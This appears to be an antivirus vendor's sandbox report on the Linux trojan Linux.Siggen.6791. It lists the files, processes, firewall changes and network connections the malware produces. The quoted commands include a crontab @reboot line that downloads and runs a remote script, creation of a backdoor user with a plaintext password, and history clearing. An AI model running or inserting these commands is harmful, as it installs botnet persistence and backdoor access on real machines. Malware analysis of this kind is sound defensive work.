Linux.Siggen.6791

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/var/spool/cron/crontabs/root
/etc/init.d/job

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

/bin/bash

Manages services:

['/bin/systemctl', 'enable', 'bot']

Launches processes:

/usr/bin/netkit-ftp ftp -n
/bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22tcp\x22 port=\x2237215\x22 reject\x27
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_TCP\x22 dir=in action=block protocol=TCP localport=37215
/bin/sh -c echo \x22block drop in quick on any from 141.98.10.128\x22 | sudo pfctl -f -
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_IP_141.98.10.128\x22 dir=in action=block remoteip=141.98.10.128
crontab -
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 59666 -j DROP
/bin/sh -c firewall-cmd --zone=public --add-port=59666/udp --permanent
/bin/systemctl enable bot
/bin/sh -c echo \x22block drop proto tcp from any to any port 59666\x22 | sudo pfctl -f -
/bin/sh -c history -c
/bin/sh -c nft add rule ip filter input ip saddr 141.98.10.128 drop
crontab -l
/bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22udp\x22 port=\x2237215\x22 reject\x27
/sbin/xtables-multi iptables -A INPUT -p udp --dport 59666 -j DROP
/bin/sh -c /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
useradd -m Signalbot
chmod 777 /bin/bins.sh
/bin/sh -c echo \x22block drop proto udp from any to any port 59666\x22 | sudo pfctl -f -
/bin/sh -c nft add rule ip filter input udp dport 37215 drop
/bin/sh -c busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
chmod +x /bin/bins.sh
/sbin/initctl start bot
/bin/sh -c iptables -A INPUT -s 141.98.10.128 -j DROP
/sbin/xtables-multi iptables -A INPUT -p udp --dport 37215 -j DROP
/bin/sh -c ufw deny 59666/tcp
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_TCP\x22 dir=in action=block protocol=TCP localport=59666
/bin/sh -c iptables -A INPUT -p udp --dport 59666 -j DROP
/bin/sh -c echo \x22block drop proto udp from any to any port 37215\x22 | sudo pfctl -f -
/bin/sh -c ufw deny from 141.98.10.128
/bin/sh -c nft add rule ip filter input udp dport 59666 drop
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_UDP\x22 dir=in action=block protocol=UDP localport=59666
/bin/kmod /sbin/modprobe ip_tables
/bin/sh -c ufw deny 37215/tcp
/bin/sh -c iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_UDP\x22 dir=in action=block protocol=UDP localport=37215
/bin/sh -c firewall-cmd --reload
/bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod 777 /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
/bin/sh -c echo \x22block drop proto tcp from any to any port 37215\x22 | sudo pfctl -f -
/sbin/xtables-multi iptables -A INPUT -s 141.98.10.128 -j DROP
ftp -n
/bin/sh -c iptables -A INPUT -p tcp --dport 59666 -j DROP
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 37215 -j DROP
/bin/sh -c ufw deny 37215/udp
/bin/sh -c iptables -A INPUT -p tcp --dport 37215 -j DROP
/bin/sh -c echo \x22127.0.0.1 fucktheccp.top\x22 >> /etc/hosts
/bin/sh -c echo \x22127.0.0.1 reachedfucktheccp.top\x22 >> /etc/hosts
sudo pfctl -f -
/bin/sh -c /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c nft add rule ip filter input tcp dport 37215 drop
/bin/sh -c useradd -m Signalbot
/bin/sh -c firewall-cmd --zone=public --add-port=59666/tcp --permanent
/bin/sh -c /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
chpasswd
/bin/sh -c nft add rule ip filter input tcp dport 59666 drop
/bin/sh -c firewall-cmd --zone=public --add-source=141.98.10.128 --permanent
/bin/sh -c ufw deny 59666/udp
/bin/sh -c echo \x22Signalbot:ufobotz1337\x22 | chpasswd
/bin/sh /bin/bins.sh
/bin/sh -c iptables -A INPUT -p udp --dport 37215 -j DROP

Kills the following processes:

<SAMPLE>

Performs operations with the file system:

Modifies file access rights:

/home/Signalbot
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd+
/etc/shadow+
/etc/group+
/etc/gshadow+
/etc/subuid+
/etc/subgid+
/etc/nshadow
/var/spool/cron/crontabs/tmp.GnGmSh
/etc/init.d/job

Modifies file owner:

/home/Signalbot
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd+
/etc/shadow+
/etc/group+
/etc/gshadow+
/etc/subuid+
/etc/subgid+
/etc/nshadow

Creates folders:

/home/Signalbot

Deletes folders:

/xconsole
/root/.bashrc
/null

Creates symlinks:

/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/etc/shadow.lock

Creates or modifies files:

/etc/.pwd.lock
/etc/passwd.832
/etc/group.832
/etc/gshadow.832
/etc/subuid.832
/etc/subgid.832
/etc/shadow.832
/var/log/faillog
/var/log/lastlog
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/group-
/etc/group+
/etc/gshadow-
/etc/gshadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/etc/nshadow
/etc/sudoers
/root/ip_addresses.txt
/etc/hosts
/self
/proc/901/cmdline
/dev/full
/var/spool/cron/crontabs/tmp.GnGmSh
/etc/init/bot.conf
/root/.bashrc
/lib/systemd/system/bot.service
/etc/systemd/system/job.service

Deletes files:

/etc/passwd.832
/etc/group.832
/etc/gshadow.832
/etc/subuid.832
/etc/subgid.832
/etc/shadow.832
/etc/shadow.lock
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/xconsole
/root/.bashrc
/null

Changes time of creation/access/modification of files:

/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd-
/etc/shadow-
/etc/group-
/etc/gshadow-
/etc/subuid-
/etc/subgid-
/var/spool/cron/crontabs

Network activity:

Awaits incoming connections on ports:

127.0.0.1:8345
0.0.0.0:26721

Establishes connection:

[:##]:37215
127.0.0.1:37215
[:##]:59666
127.0.0.1:59666
8.#.8.8:53
51.###.162.59:53
0.0.0.0:0
19#.##.144.87:53
19#.###.175.43:35342
19#.##9.175.43:2222
17#.##4.22.166:53
81.###.136.222:53
13#.#95.4.2:53

DNS ASK:

re###thltd.com

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